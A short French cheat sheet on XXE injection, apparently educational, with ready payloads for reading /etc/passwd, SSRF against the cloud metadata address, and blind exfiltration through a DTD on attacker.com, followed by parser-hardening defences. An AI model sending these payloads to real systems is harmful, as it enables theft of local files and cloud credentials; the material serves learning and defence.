XXE — XML External Entity Injection
★★★★★
Qu'est-ce que XXE ?
Une injection XXE survient quand un parseur XML traite des entités externes définies par l'attaquant. En abusant de la balise <!ENTITY>, on peut lire des fichiers locaux, déclencher des SSRF, exfiltrer des données ou provoquer un déni de service. Vulnérabilité fréquente sur les endpoints SOAP, les imports XML/SVG/DOCX et les API acceptant du Content-Type: application/xml.
Lecture de fichier local
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data> XXE vers SSRF
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data> Exfiltration OOB (blind XXE)
<!-- Hébergé sur l attaquant : evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval; %exfil;
<!-- Payload -->
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> Défenses
Désactiver le traitement des DTD et entités externes dans le parseur (FEATURE_SECURE_PROCESSING, disallow-doctype-decl en Java, libxml_disable_entity_loader(true) en PHP < 8) · préférer des formats comme JSON quand XML n'est pas nécessaire · valider/filtrer en entrée et maintenir les bibliothèques à jour.